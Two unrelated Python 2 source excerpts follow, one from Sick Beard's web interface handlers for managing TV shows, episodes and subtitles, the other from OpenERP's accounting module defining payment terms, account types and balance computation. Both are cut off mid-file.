#@UndefinedVariable except exceptions.CantRefreshException, e: errors.append("Unable to refresh this show:"+ex(e)) # grab updated info from TVDB #showObj.loadEpisodesFromTVDB() # rescan the episodes in the new folder except exceptions.NoNFOException: errors.append("The folder at <tt>%s</tt> doesn't contain a tvshow.nfo - copy your files to that folder before you change the directory in Sick Beard." % location) # save it to the DB showObj.saveToDB() # force the update if do_update: try: sickbeard.showQueueScheduler.action.updateShow(showObj, True) #@UndefinedVariable time.sleep(1) except exceptions.CantUpdateException, e: errors.append("Unable to force an update on the show.") if do_update_exceptions: try: scene_exceptions.update_scene_exceptions(showObj.tvdbid, exceptions_list) #@UndefinedVariable time.sleep(1) except exceptions.CantUpdateException, e: errors.append("Unable to force an update on scene exceptions of the show.") if directCall: return errors if len(errors) > 0: ui.notifications.error('%d error%s while saving changes:' % (len(errors), "" if len(errors) == 1 else "s"), '<ul>' + '\n'.join(['<li>%s</li>' % error for error in errors]) + "</ul>") redirect("/home/displayShow?show=" + show) @cherrypy.expose def deleteShow(self, show=None): if show == None: return _genericMessage("Error", "Invalid show ID") showObj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(show)) if showObj == None: return _genericMessage("Error", "Unable to find the specified show") if sickbeard.showQueueScheduler.action.isBeingAdded(showObj) or sickbeard.showQueueScheduler.action.isBeingUpdated(showObj): #@UndefinedVariable return _genericMessage("Error", "Shows can't be deleted while they're being added or updated.") showObj.deleteShow() ui.notifications.message('<b>%s</b> has been deleted' % showObj.name) redirect("/home") @cherrypy.expose def refreshShow(self, show=None): if show == None: return _genericMessage("Error", "Invalid show ID") showObj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(show)) if showObj == None: return _genericMessage("Error", "Unable to find the specified show") # force the update from the DB try: sickbeard.showQueueScheduler.action.refreshShow(showObj) #@UndefinedVariable except exceptions.CantRefreshException, e: ui.notifications.error("Unable to refresh this show.", ex(e)) time.sleep(3) redirect("/home/displayShow?show="+str(showObj.tvdbid)) @cherrypy.expose def updateShow(self, show=None, force=0): if show == None: return _genericMessage("Error", "Invalid show ID") showObj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(show)) if showObj == None: return _genericMessage("Error", "Unable to find the specified show") # force the update try: sickbeard.showQueueScheduler.action.updateShow(showObj, bool(force)) #@UndefinedVariable except exceptions.CantUpdateException, e: ui.notifications.error("Unable to update this show.", ex(e)) # just give it some time time.sleep(3) redirect("/home/displayShow?show=" + str(showObj.tvdbid)) @cherrypy.expose def subtitleShow(self, show=None, force=0): if show == None: return _genericMessage("Error", "Invalid show ID") showObj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(show)) if showObj == None: return _genericMessage("Error", "Unable to find the specified show") # search and download subtitles sickbeard.showQueueScheduler.action.downloadSubtitles(showObj, bool(force)) #@UndefinedVariable time.sleep(3) redirect("/home/displayShow?show="+str(showObj.tvdbid)) @cherrypy.expose def subtitleShowClean(self, show=None, force=0): if show == None: return _genericMessage("Error", "Invalid show ID") showObj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(show)) if showObj == None: return _genericMessage("Error", "Unable to find the specified show") # search and download subtitles sickbeard.showQueueScheduler.action.cleanSubtitles(showObj, bool(force)) #@UndefinedVariable time.sleep(3) redirect("/home/displayShow?show="+str(showObj.tvdbid)) @cherrypy.expose def frenchSearch(self, show=None, force=0): if show == None: return _genericMessage("Error", "Invalid show ID") showObj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(show)) if showObj == None: return _genericMessage("Error", "Unable to find the specified show") # search and download subtitles sickbeard.showQueueScheduler.action.searchFrench(showObj, bool(force)) #@UndefinedVariable time.sleep(3) redirect("/home/displayShow?show="+str(showObj.tvdbid)) @cherrypy.expose def updateXBMC(self, showName=None): if sickbeard.XBMC_UPDATE_ONLYFIRST: # only send update to first host in the list -- workaround for xbmc sql backend users host = sickbeard.XBMC_HOST.split(",")[0].strip() else: host = sickbeard.XBMC_HOST if notifiers.xbmc_notifier.update_library(showName=showName): ui.notifications.message("Library update command sent to XBMC host(s): " + host) else: ui.notifications.error("Unable to contact one or more XBMC host(s): " + host) redirect('/home') @cherrypy.expose def updatePLEX(self): if notifiers.plex_notifier.update_library(): ui.notifications.message("Library update command sent to Plex Media Server host: " + sickbeard.PLEX_SERVER_HOST) else: ui.notifications.error("Unable to contact Plex Media Server host: " + sickbeard.PLEX_SERVER_HOST) redirect('/home') @cherrypy.expose def setStatus(self, show=None, eps=None, status=None, direct=False): if show == None or eps == None or status == None: errMsg = "You must specify a show and at least one episode" if direct: ui.notifications.error('Error', errMsg) return json.dumps({'result': 'error'}) else: return _genericMessage("Error", errMsg) if not statusStrings.has_key(int(status)): errMsg = "Invalid status" if direct: ui.notifications.error('Error', errMsg) return json.dumps({'result': 'error'}) else: return _genericMessage("Error", errMsg) showObj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(show)) if showObj == None: errMsg = "Error", "Show not in show list" if direct: ui.notifications.error('Error', errMsg) return json.dumps({'result': 'error'}) else: return _genericMessage("Error", errMsg) segment_list = [] if eps != None: for curEp in eps.split('|'): logger.log(u"Attempting to set status on episode "+curEp+" to "+status, logger.DEBUG) epInfo = curEp.split('x') epObj = showObj.getEpisode(int(epInfo[0]), int(epInfo[1])) if int(status) == WANTED: # figure out what segment the episode is in and remember it so we can backlog it if epObj.show.air_by_date: ep_segment = str(epObj.airdate)[:7] else: ep_segment = epObj.season if ep_segment not in segment_list: segment_list.append(ep_segment) if epObj == None: return _genericMessage("Error", "Episode couldn't be retrieved") with epObj.lock: # don't let them mess up UNAIRED episodes if epObj.status == UNAIRED: logger.log(u"Refusing to change status of "+curEp+" because it is UNAIRED", logger.ERROR) continue if int(status) in Quality.DOWNLOADED and epObj.status not in Quality.SNATCHED + Quality.SNATCHED_PROPER + Quality.SNATCHED_FRENCH + Quality.DOWNLOADED + [IGNORED] and not ek.ek(os.path.isfile, epObj.location): logger.log(u"Refusing to change status of "+curEp+" to DOWNLOADED because it's not SNATCHED/DOWNLOADED", logger.ERROR) continue epObj.status = int(status) epObj.saveToDB() msg = "Backlog was automatically started for the following seasons of <b>"+showObj.name+"</b>:<br />" for cur_segment in segment_list: msg += "<li>Season "+str(cur_segment)+"</li>" logger.log(u"Sending backlog for "+showObj.name+" season "+str(cur_segment)+" because some eps were set to wanted") cur_backlog_queue_item = search_queue.BacklogQueueItem(showObj, cur_segment) sickbeard.searchQueueScheduler.action.add_item(cur_backlog_queue_item) #@UndefinedVariable msg += "</ul>" if segment_list: ui.notifications.message("Backlog started", msg) if direct: return json.dumps({'result': 'success'}) else: redirect("/home/displayShow?show=" + show) @cherrypy.expose def setAudio(self, show=None, eps=None, audio_langs=None, direct=False): if show == None or eps == None or audio_langs == None: errMsg = "You must specify a show and at least one episode" if direct: ui.notifications.error('Error', errMsg) return json.dumps({'result': 'error'}) else: return _genericMessage("Error", errMsg) showObj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(show)) if showObj == None: return _genericMessage("Error", "Show not in show list") try: show_loc = showObj.location #@UnusedVariable except exceptions.ShowDirNotFoundException: return _genericMessage("Error", "Can't rename episodes when the show dir is missing.") ep_obj_rename_list = [] for curEp in eps.split('|'): logger.log(u"Attempting to set audio on episode "+curEp+" to "+audio_langs, logger.DEBUG) epInfo = curEp.split('x') epObj = showObj.getEpisode(int(epInfo[0]), int(epInfo[1])) epObj.audio_langs = str(audio_langs) epObj.saveToDB() if direct: return json.dumps({'result': 'success'}) else: redirect("/home/displayShow?show=" + show) @cherrypy.expose def testRename(self, show=None): if show == None: return _genericMessage("Error", "You must specify a show") showObj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(show)) if showObj == None: return _genericMessage("Error", "Show not in show list") try: show_loc = showObj.location #@UnusedVariable except exceptions.ShowDirNotFoundException: return _genericMessage("Error", "Can't rename episodes when the show dir is missing.") ep_obj_rename_list = [] ep_obj_list = showObj.getAllEpisodes(has_location=True) for cur_ep_obj in ep_obj_list: # Only want to rename if we have a location if cur_ep_obj.location: if cur_ep_obj.relatedEps: # do we have one of multi-episodes in the rename list already have_already = False for cur_related_ep in cur_ep_obj.relatedEps + [cur_ep_obj]: if cur_related_ep in ep_obj_rename_list: have_already = True break if not have_already: ep_obj_rename_list.append(cur_ep_obj) else: ep_obj_rename_list.append(cur_ep_obj) if ep_obj_rename_list: # present season DESC episode DESC on screen ep_obj_rename_list.reverse() t = PageTemplate(file="testRename.tmpl") t.submenu = [{'title': 'Edit', 'path': 'home/editShow?show=%d' % showObj.tvdbid}] t.ep_obj_list = ep_obj_rename_list t.show = showObj return _munge(t) @cherrypy.expose def doRename(self, show=None, eps=None): if show == None or eps == None: errMsg = "You must specify a show and at least one episode" return _genericMessage("Error", errMsg) show_obj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(show)) if show_obj == None: errMsg = "Error", "Show not in show list" return _genericMessage("Error", errMsg) try: show_loc = show_obj.location #@UnusedVariable except exceptions.ShowDirNotFoundException: return _genericMessage("Error", "Can't rename episodes when the show dir is missing.") myDB = db.DBConnection() if eps == None: redirect("/home/displayShow?show=" + show) for curEp in eps.split('|'): epInfo = curEp.split('x') # this is probably the worst possible way to deal with double eps but I've kinda painted myself into a corner here with this stupid database ep_result = myDB.select("SELECT * FROM tv_episodes WHERE showid = ? AND season = ? AND episode = ? AND 5=5", [show, epInfo[0], epInfo[1]]) if not ep_result: logger.log(u"Unable to find an episode for "+curEp+", skipping", logger.WARNING) continue related_eps_result = myDB.select("SELECT * FROM tv_episodes WHERE location = ? AND episode != ?", [ep_result[0]["location"], epInfo[1]]) root_ep_obj = show_obj.getEpisode(int(epInfo[0]), int(epInfo[1])) for cur_related_ep in related_eps_result: related_ep_obj = show_obj.getEpisode(int(cur_related_ep["season"]), int(cur_related_ep["episode"])) if related_ep_obj not in root_ep_obj.relatedEps: root_ep_obj.relatedEps.append(related_ep_obj) root_ep_obj.rename() redirect("/home/displayShow?show=" + show) @cherrypy.expose def trunchistory(self, epid): myDB = db.DBConnection() nbep = myDB.select("Select count(*) from episode_links where episode_id=?",[epid]) myDB.action("DELETE from episode_links where episode_id=?",[epid]) messnum = str(nbep[0][0]) + ' history links deleted' ui.notifications.message('Episode History Truncated' , messnum) return json.dumps({'result': 'ok'}) @cherrypy.expose def searchEpisode(self, show=None, season=None, episode=None): # retrieve the episode object and fail if we can't get one ep_obj = _getEpisode(show, season, episode) if isinstance(ep_obj, str): return json.dumps({'result': 'failure'}) # make a queue item for it and put it on the queue ep_queue_item = search_queue.ManualSearchQueueItem(ep_obj) sickbeard.searchQueueScheduler.action.add_item(ep_queue_item) #@UndefinedVariable # wait until the queue item tells us whether it worked or not while ep_queue_item.success == None: #@UndefinedVariable time.sleep(1) # return the correct json value if ep_queue_item.success: return json.dumps({'result': statusStrings[ep_obj.status]}) return json.dumps({'result': 'failure'}) @cherrypy.expose def searchEpisodeSubtitles(self, show=None, season=None, episode=None): # retrieve the episode object and fail if we can't get one ep_obj = _getEpisode(show, season, episode) if isinstance(ep_obj, str): return json.dumps({'result': 'failure'}) # try do download subtitles for that episode previous_subtitles = ep_obj.subtitles try: subtitles = ep_obj.downloadSubtitles() if sickbeard.SUBTITLES_DIR: for video in subtitles: subs_new_path = ek.ek(os.path.join, os.path.dirname(video.path), sickbeard.SUBTITLES_DIR) dir_exists = helpers.makeDir(subs_new_path) if not dir_exists: logger.log(u"Unable to create subtitles folder "+subs_new_path, logger.ERROR) else: helpers.chmodAsParent(subs_new_path) for subtitle in subtitles.get(video): new_file_path = ek.ek(os.path.join, subs_new_path, os.path.basename(subtitle.path)) helpers.moveFile(subtitle.path, new_file_path) if sickbeard.SUBSNOLANG: helpers.copyFile(new_file_path,new_file_path[:-6]+"srt") helpers.chmodAsParent(new_file_path[:-6]+"srt") helpers.chmodAsParent(new_file_path) else: if sickbeard.SUBTITLES_DIR_SUB: for video in subtitles: subs_new_path = os.path.join(os.path.dirname(video.path),"Subs") dir_exists = helpers.makeDir(subs_new_path) if not dir_exists: logger.log(u"Unable to create subtitles folder "+subs_new_path, logger.ERROR) else: helpers.chmodAsParent(subs_new_path) for subtitle in subtitles.get(video): new_file_path = ek.ek(os.path.join, subs_new_path, os.path.basename(subtitle.path)) helpers.moveFile(subtitle.path, new_file_path) if sickbeard.SUBSNOLANG: helpers.copyFile(new_file_path,new_file_path[:-6]+"srt") helpers.chmodAsParent(new_file_path[:-6]+"srt") helpers.chmodAsParent(new_file_path) else: for video in subtitles: for subtitle in subtitles.get(video): if sickbeard.SUBSNOLANG: helpers.copyFile(subtitle.path,subtitle.path[:-6]+"srt") helpers.chmodAsParent(subtitle.path[:-6]+"srt") helpers.chmodAsParent(subtitle.path) except: return json.dumps({'result': 'failure'}) # return the correct json value if previous_subtitles != ep_obj.subtitles: status = 'New subtitles downloaded: %s' % ' '.join(["<img src='"+sickbeard.WEB_ROOT+"/images/flags/"+subliminal.language.Language(x).alpha2+".png' alt='"+subliminal.language.Language(x).name+"'/>" for x in sorted(list(set(ep_obj.subtitles).difference(previous_subtitles)))]) else
codeparrot/github-code-clean
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import logging from datetime import datetime from dateutil.relativedelta import relativedelta from operator import itemgetter import time import openerp from openerp import SUPERUSER_ID, api from openerp import tools from openerp.osv import fields, osv, expression from openerp.tools.translate import _ from openerp.tools.float_utils import float_round as round import openerp.addons.decimal_precision as dp _logger = logging.getLogger(__name__) def check_cycle(self, cr, uid, ids, context=None): """ climbs the ``self._table.parent_id`` chains for 100 levels or until it can't find any more parent(s) Returns true if it runs out of parents (no cycle), false if it can recurse 100 times without ending all chains """ level = 100 while len(ids): cr.execute('SELECT DISTINCT parent_id '\ 'FROM '+self._table+' '\ 'WHERE id IN %s '\ 'AND parent_id IS NOT NULL',(tuple(ids),)) ids = map(itemgetter(0), cr.fetchall()) if not level: return False level -= 1 return True class res_company(osv.osv): _inherit = "res.company" _columns = { 'income_currency_exchange_account_id': fields.many2one( 'account.account', string="Gain Exchange Rate Account", domain="[('type', '=', 'other')]",), 'expense_currency_exchange_account_id': fields.many2one( 'account.account', string="Loss Exchange Rate Account", domain="[('type', '=', 'other')]",), } class account_payment_term(osv.osv): _name = "account.payment.term" _description = "Payment Term" _columns = { 'name': fields.char('Payment Term', translate=True, required=True), 'active': fields.boolean('Active', help="If the active field is set to False, it will allow you to hide the payment term without removing it."), 'note': fields.text('Description', translate=True), 'line_ids': fields.one2many('account.payment.term.line', 'payment_id', 'Terms', copy=True), } _defaults = { 'active': 1, } _order = "name" def compute(self, cr, uid, id, value, date_ref=False, context=None): if not date_ref: date_ref = datetime.now().strftime('%Y-%m-%d') pt = self.browse(cr, uid, id, context=context) amount = value result = [] obj_precision = self.pool.get('decimal.precision') prec = obj_precision.precision_get(cr, uid, 'Account') for line in pt.line_ids: if line.value == 'fixed': amt = round(line.value_amount, prec) elif line.value == 'procent': amt = round(value * line.value_amount, prec) elif line.value == 'balance': amt = round(amount, prec) if amt: next_date = (datetime.strptime(date_ref, '%Y-%m-%d') + relativedelta(days=line.days)) if line.days2 < 0: next_first_date = next_date + relativedelta(day=1,months=1) #Getting 1st of next month next_date = next_first_date + relativedelta(days=line.days2) if line.days2 > 0: next_date += relativedelta(day=line.days2, months=1) result.append( (next_date.strftime('%Y-%m-%d'), amt) ) amount -= amt amount = reduce(lambda x,y: x+y[1], result, 0.0) dist = round(value-amount, prec) if dist: result.append( (time.strftime('%Y-%m-%d'), dist) ) return result class account_payment_term_line(osv.osv): _name = "account.payment.term.line" _description = "Payment Term Line" _columns = { 'value': fields.selection([('procent', 'Percent'), ('balance', 'Balance'), ('fixed', 'Fixed Amount')], 'Computation', required=True, help="""Select here the kind of valuation related to this payment term line. Note that you should have your last line with the type 'Balance' to ensure that the whole amount will be treated."""), 'value_amount': fields.float('Amount To Pay', digits_compute=dp.get_precision('Payment Term'), help="For percent enter a ratio between 0-1."), 'days': fields.integer('Number of Days', required=True, help="Number of days to add before computation of the day of month." \ "If Date=15/01, Number of Days=22, Day of Month=-1, then the due date is 28/02."), 'days2': fields.integer('Day of the Month', required=True, help="Day of the month, set -1 for the last day of the current month. If it's positive, it gives the day of the next month. Set 0 for net days (otherwise it's based on the beginning of the month)."), 'payment_id': fields.many2one('account.payment.term', 'Payment Term', required=True, select=True, ondelete='cascade'), } _defaults = { 'value': 'balance', 'days': 30, 'days2': 0, } _order = "value desc,days" def _check_percent(self, cr, uid, ids, context=None): obj = self.browse(cr, uid, ids[0], context=context) if obj.value == 'procent' and ( obj.value_amount < 0.0 or obj.value_amount > 1.0): return False return True _constraints = [ (_check_percent, 'Percentages for Payment Term Line must be between 0 and 1, Example: 0.02 for 2%.', ['value_amount']), ] class account_account_type(osv.osv): _name = "account.account.type" _description = "Account Type" def _get_financial_report_ref(self, cr, uid, context=None): obj_data = self.pool.get('ir.model.data') obj_financial_report = self.pool.get('account.financial.report') financial_report_ref = {} for key, financial_report in [ ('asset','account_financial_report_assets0'), ('liability','account_financial_report_liability0'), ('income','account_financial_report_income0'), ('expense','account_financial_report_expense0'), ]: try: financial_report_ref[key] = obj_financial_report.browse(cr, uid, obj_data.get_object_reference(cr, uid, 'account', financial_report)[1], context=context) except ValueError: pass return financial_report_ref def _get_current_report_type(self, cr, uid, ids, name, arg, context=None): res = {} financial_report_ref = self._get_financial_report_ref(cr, uid, context=context) for record in self.browse(cr, uid, ids, context=context): res[record.id] = 'none' for key, financial_report in financial_report_ref.items(): list_ids = [x.id for x in financial_report.account_type_ids] if record.id in list_ids: res[record.id] = key return res def _save_report_type(self, cr, uid, account_type_id, field_name, field_value, arg, context=None): field_value = field_value or 'none' obj_financial_report = self.pool.get('account.financial.report') #unlink if it exists somewhere in the financial reports related to BS or PL financial_report_ref = self._get_financial_report_ref(cr, uid, context=context) for key, financial_report in financial_report_ref.items(): list_ids = [x.id for x in financial_report.account_type_ids] if account_type_id in list_ids: obj_financial_report.write(cr, uid, [financial_report.id], {'account_type_ids': [(3, account_type_id)]}) #write it in the good place if field_value != 'none': return obj_financial_report.write(cr, uid, [financial_report_ref[field_value].id], {'account_type_ids': [(4, account_type_id)]}) _columns = { 'name': fields.char('Account Type', required=True, translate=True), 'code': fields.char('Code', size=32, required=True, select=True), 'close_method': fields.selection([('none', 'None'), ('balance', 'Balance'), ('detail', 'Detail'), ('unreconciled', 'Unreconciled')], 'Deferral Method', required=True, help="""Set here the method that will be used to generate the end of year journal entries for all the accounts of this type. 'None' means that nothing will be done. 'Balance' will generally be used for cash accounts. 'Detail' will copy each existing journal item of the previous year, even the reconciled ones. 'Unreconciled' will copy only the journal items that were unreconciled on the first day of the new fiscal year."""), 'report_type': fields.function(_get_current_report_type, fnct_inv=_save_report_type, type='selection', string='P&L / BS Category', store=True, selection= [('none','/'), ('income', _('Profit & Loss (Income account)')), ('expense', _('Profit & Loss (Expense account)')), ('asset', _('Balance Sheet (Asset account)')), ('liability', _('Balance Sheet (Liability account)'))], help="This field is used to generate legal reports: profit and loss, balance sheet.", required=True), 'note': fields.text('Description'), } _defaults = { 'close_method': 'none', 'report_type': 'none', } _order = "code" def _code_get(self, cr, uid, context=None): acc_type_obj = self.pool.get('account.account.type') ids = acc_type_obj.search(cr, uid, []) res = acc_type_obj.read(cr, uid, ids, ['code', 'name'], context=context) return [(r['code'], r['name']) for r in res] #---------------------------------------------------------- # Accounts #---------------------------------------------------------- class account_account(osv.osv): _order = "parent_left" _parent_order = "code" _name = "account.account" _description = "Account" _parent_store = True def _where_calc(self, cr, uid, domain, active_test=True, context=None): """ Convert domains to allow easier filtering: code: force case insensitive and right side matching search journal_id: restrict to the accounts sharing the same account.account.type """ pos = 0 while pos < len(domain): if domain[pos][0] == 'code' and domain[pos][1] in ('like', 'ilike') and domain[pos][2]: domain[pos] = ('code', '=like', tools.ustr(domain[pos][2].replace('%', '')) + '%') if domain[pos][0] == 'journal_id': if not domain[pos][2]: del domain[pos] continue jour = self.pool.get('account.journal').browse(cr, uid, domain[pos][2], context=context) if (not (jour.account_control_ids or jour.type_control_ids)) or not domain[pos][2]: domain[pos] = ('type', 'not in', ('consolidation', 'view')) continue ids3 = map(lambda x: x.id, jour.type_control_ids) ids1 = super(account_account, self).search(cr, uid, [('user_type', 'in', ids3)]) ids1 += map(lambda x: x.id, jour.account_control_ids) domain[pos] = ('id', 'in', ids1) pos += 1 return super(account_account, self)._where_calc(cr, uid, domain, active_test, context) def search(self, cr, uid, args, offset=0, limit=None, order=None, context=None, count=False): """ Check presence of key 'consolidate_children' in context to include also the Consolidated Children of found accounts into the result of the search """ if context and context.has_key('consolidate_children'): #add consolidated children of accounts ids = super(account_account, self).search(cr, uid, args, offset, limit, order, context=context, count=count) for consolidate_child in self.browse(cr, uid, context['account_id'], context=context).child_consol_ids: ids.append(consolidate_child.id) return ids return super(account_account, self).search(cr, uid, args, offset, limit, order, context=context, count=count) def _get_children_and_consol(self, cr, uid, ids, context=None): #this function search for all the children and all consolidated children (recursively) of the given account ids ids2 = self.search(cr, uid, [('parent_id', 'child_of', ids)], context=context) ids3 = [] for rec in self.browse(cr, uid, ids2, context=context): for child in rec.child_consol_ids: ids3.append(child.id) if ids3: ids3 = self._get_children_and_consol(cr, uid, ids3, context) return ids2 + ids3 def __compute(self, cr, uid, ids, field_names, arg=None, context=None, query='', query_params=()): """ compute the balance, debit and/or credit for the provided account ids Arguments: `ids`: account ids `field_names`: the fields to compute (a list of any of 'balance', 'debit' and 'credit') `arg`: unused fields.function stuff `query`: additional query filter (as a string) `query_params`: parameters for the provided query string (__compute will handle their escaping) as a tuple """ mapping = { 'balance': "COALESCE(SUM(l.debit),0) - COALESCE(SUM(l.credit), 0) as balance", 'debit': "COALESCE(SUM(l.debit), 0) as debit", 'credit': "COALESCE(SUM(l.credit), 0) as credit", # by convention, foreign_balance is 0 when the account has no secondary currency, because the amounts may be in different currencies 'foreign_balance': "(SELECT CASE WHEN currency_id IS NULL THEN 0 ELSE COALESCE(SUM(l.amount_currency), 0) END FROM account_account WHERE id IN (l.account_id)) as foreign_balance", } #get all the necessary accounts children_and_consolidated = self._get_children_and_consol(cr, uid, ids, context=context) #compute for each account the balance/debit/credit from the move lines accounts = {} res = {} null_result = dict((fn, 0.0) for fn in field_names) if children_and_consolidated: aml_query = self.pool.get('account.move.line')._query_get(cr, uid, context=context) wheres = [""] if query.strip(): wheres.append(query.strip()) if aml_query.strip(): wheres.append(aml_query.strip()) filters = " AND ".join(wheres) # IN might not work ideally in case there are too many # children_and_consolidated, in that case join on a # values() e.g.: # SELECT l.account_id as id FROM account_move_line l # INNER JOIN (VALUES (id1), (id2), (id3), ...) AS tmp (id) # ON l.account_id = tmp.id # or make _get_children_and_consol return a query and join on that request = ("SELECT l.account_id as id, " +\ ', '.join(mapping.values()) + " FROM account_move_line l" \ " WHERE l.account_id IN %s " \ + filters + " GROUP BY l.account_id") params = (tuple(children_and_consolidated),) + query_params cr.execute(request, params) for row in cr.dictfetchall(): accounts[row['id']] = row # consolidate accounts with direct children children_and_consolidated.reverse() brs = list(self.browse(cr, uid, children_and_consolidated, context=context)) sums = {} currency_obj = self.pool.get('res.currency') while brs: current = brs.pop(0) # can_compute = True # for child in current.child_id: # if child.id not in sums: # can_compute = False # try: # brs.insert(0, brs.pop(brs.index(child))) # except ValueError: # brs.insert(0, child) # if can_compute: for fn in field_names: sums.setdefault(current.id, {})[fn] = accounts.get(current.id, {}).get(fn, 0.0) for child in current.child_id: if child.company_id.currency_id.id == current.company_id.currency_id.id: sums[current.id][fn] += sums[child.id][fn] else: sums[current.id][fn] += currency_obj.compute(cr, uid, child.company_id.currency_id.id, current.company_id.currency_id.id, sums[child.id][fn], context=context) # as we have to relay on values computed before this is calculated separately than previous fields if current.currency_id and current.exchange_rate and \ ('adjusted_balance' in field_names or 'unrealized_gain_loss' in field_names): # Computing Adjusted Balance and Unrealized Gains and losses # Adjusted Balance = Foreign Balance / Exchange Rate # Unrealized Gains and losses = Adjusted Balance - Balance adj_bal = sums[current.id].get('foreign_balance', 0.0) / current.exchange_rate sums[current.id].update({'adjusted_balance': adj_bal, 'unrealized_gain_loss': adj_bal - sums[current.id].get('balance', 0.0)}) for id in ids: res[id] = sums.get(id, null_result) else: for id in ids: res[id] = null_result return res def _get_company_currency(self, cr, uid, ids, field_name, arg, context=None): result = {} for rec in self.browse(cr, uid, ids, context=context): result[rec.id] = (rec.company_id.currency_id.id,rec.company_id.currency_id.symbol) return result def _get_child_ids(self, cr, uid, ids, field_name, arg, context=None): result = {} for record in self.browse(cr, uid, ids, context=context): if record.child_parent_ids: result[record.id] = [x.id for x in record.child_parent_ids] else: result[record.id] = [] if record.child_consol_ids: for acc in record.child_consol_ids: if acc.id not in result[record.id]: result[record.id].append(acc.id) return result def _get_level(self, cr, uid, ids, field_name, arg, context=None): res = {} for account in self.browse(cr, uid, ids, context=context): #we may not know the level of the parent at the time of computation, so we # can't simply do res[account.id] = account.parent_id.level + 1 level = 0 parent = account.parent_id while parent: level += 1 parent = parent.parent_id res[account.id] = level return res def _set_credit_debit(self, cr, uid, account_id, name, value, arg, context=None): if context.get('config_invisible', True): return True account = self.browse(cr, uid, account_id, context=context) diff = value - getattr(account,name) if not diff: return True journal_obj = self.pool.get('account.journal') jids = journal_obj.search(cr, uid, [('type','=','situation'),('centralisation','=',1),('company_id','=',account.company_id.id)], context=context) if not jids: raise osv.except_osv(_('Error!'),_("You need an Opening journal with centralisation checked to set the initial balance.")) period_obj = self.pool.get('account.period') pids = period_obj.search(cr, uid, [('special','=',True),('company_id','=',account.company_id.id)], context=context) if not pids: raise osv.except_osv(_('Error!'),_("There is no opening/closing period defined, please create one to set the initial balance.")) move_obj = self.pool.get('account.move.line') move_id = move_obj.search(cr, uid, [ ('journal_id','=',jids[0]), ('period_id','=',pids[0]), ('account_id','=', account_id), (name,'>', 0.0), ('name','=', _('Opening Balance')) ], context=context) if move_id: move = move_obj.browse(cr, uid, move_id[0], context=context) move_obj.write(cr, uid, move_id[0], { name: diff+getattr(move,name) }, context=context) else: if diff<0.0: raise osv.except_osv(_('Error!'),_("Unable to adapt the initial balance (negative value).")) nameinv = (name=='credit' and 'debit') or 'credit' move_id = move_obj.create(cr, uid, { 'name': _('Opening Balance'), 'account_id': account_id, 'journal_id': jids[0], 'period_id': pids[0], name: diff, nameinv: 0.0 }, context=context) return True _columns = { 'name': fields.char('Name', required=True, select=True), 'currency_id': fields.many2one('res.currency', 'Secondary Currency', help="Forces all moves for this account to have this secondary currency."), 'code': fields.char('Code', size=64, required=True, select=1), 'type': fields.selection([ ('view', 'View'), ('other', 'Regular'), ('receivable', 'Receivable'), ('payable', 'Payable'), ('liquidity','Liquidity'), ('consolidation', 'Consolidation'), ('closed', 'Closed'), ], 'Internal Type', required=True, help="The 'Internal Type' is used for features available on "\ "different types of accounts: view can not have journal items, consolidation are accounts that "\ "can have children accounts for multi-company consolidations, payable/receivable are for "\ "partners accounts (for debit/credit computations), closed for depreciated accounts."), 'user_type': fields.many2one('account.account.type', 'Account Type', required=True, help="Account Type is used for information purpose, to generate " "country-specific legal reports, and set the rules to close a fiscal year and generate opening entries."), 'financial_report_ids': fields.many2many('account.financial.report', 'account_account_financial_report', 'account_id', 'report_line_id', 'Financial Reports'), 'parent_id': fields.many2one('account.account', 'Parent', ondelete='cascade', domain=[('type','=','view')]), 'child_parent_ids': fields.one2many('account.account','parent_id','Children'), 'child_consol_ids': fields.many2many('account.account', 'account_account_consol_rel', 'child_id', 'parent_id', 'Consolidated Children'), 'child_id': fields.function(_get_child_ids, type='many2many', relation="account.account", string="Child Accounts"), 'balance': fields.function(__compute, digits_compute=dp.get_precision('Account'), string='Balance', multi='balance'), 'credit': fields.function(__compute, fnct_inv=_set_credit_debit, digits_compute=dp.get_precision('Account'), string='Credit', multi='balance'), 'debit': fields.function(__compute, fnct_inv=_set_credit_debit, digits_compute=dp.get_precision('Account'), string='Debit', multi='balance'), 'foreign_balance': fields.function(__compute, digits_compute=dp.get_precision('Account'), string='Foreign Balance', multi='balance', help="Total amount (in Secondary currency) for transactions held in secondary currency for this account."), 'adjusted_balance': fields.function(__compute, digits_compute=dp.get_precision('Account'), string='Adjusted Balance', multi='balance', help="Total amount (in Company currency) for transactions held in secondary currency for this account."), 'unrealized_gain_loss': fields.function(__compute, digits_compute=dp.get_precision('Account'), string='Unrealized Gain or Loss', multi='balance', help="Value of Loss or Gain due to changes in exchange rate when doing multi-currency transactions."), 'reconcile': fields.boolean('Allow Reconciliation', help="Check this box if this account allows reconciliation of journal items."), 'exchange_rate': fields.related('currency_id', 'rate', type='float', string='Exchange Rate', digits=(12,6)), 'shortcut': fields.char('Shortcut', size=12), 'tax_ids': fields.many2many('account.tax', 'account_account_tax_default_rel', 'account_id', 'tax_id', 'Default Taxes'), 'note': fields.text('Internal Notes'), 'company_currency_id': fields.function(_get_company_currency, type='many2one', relation='res.currency', string='Company Currency'), 'company_id': fields.many2one('res.company', 'Company', required=True), 'active': fields.boolean('Active', select=2, help="If the active field is set to False, it will allow you to hide the account without removing it."), 'parent_left': fields.integer('Parent Left', select=1), 'parent_right': fields.integer('Parent Right', select=1), 'currency_mode': fields.selection([('current', 'At Date'), ('average', 'Average Rate')], 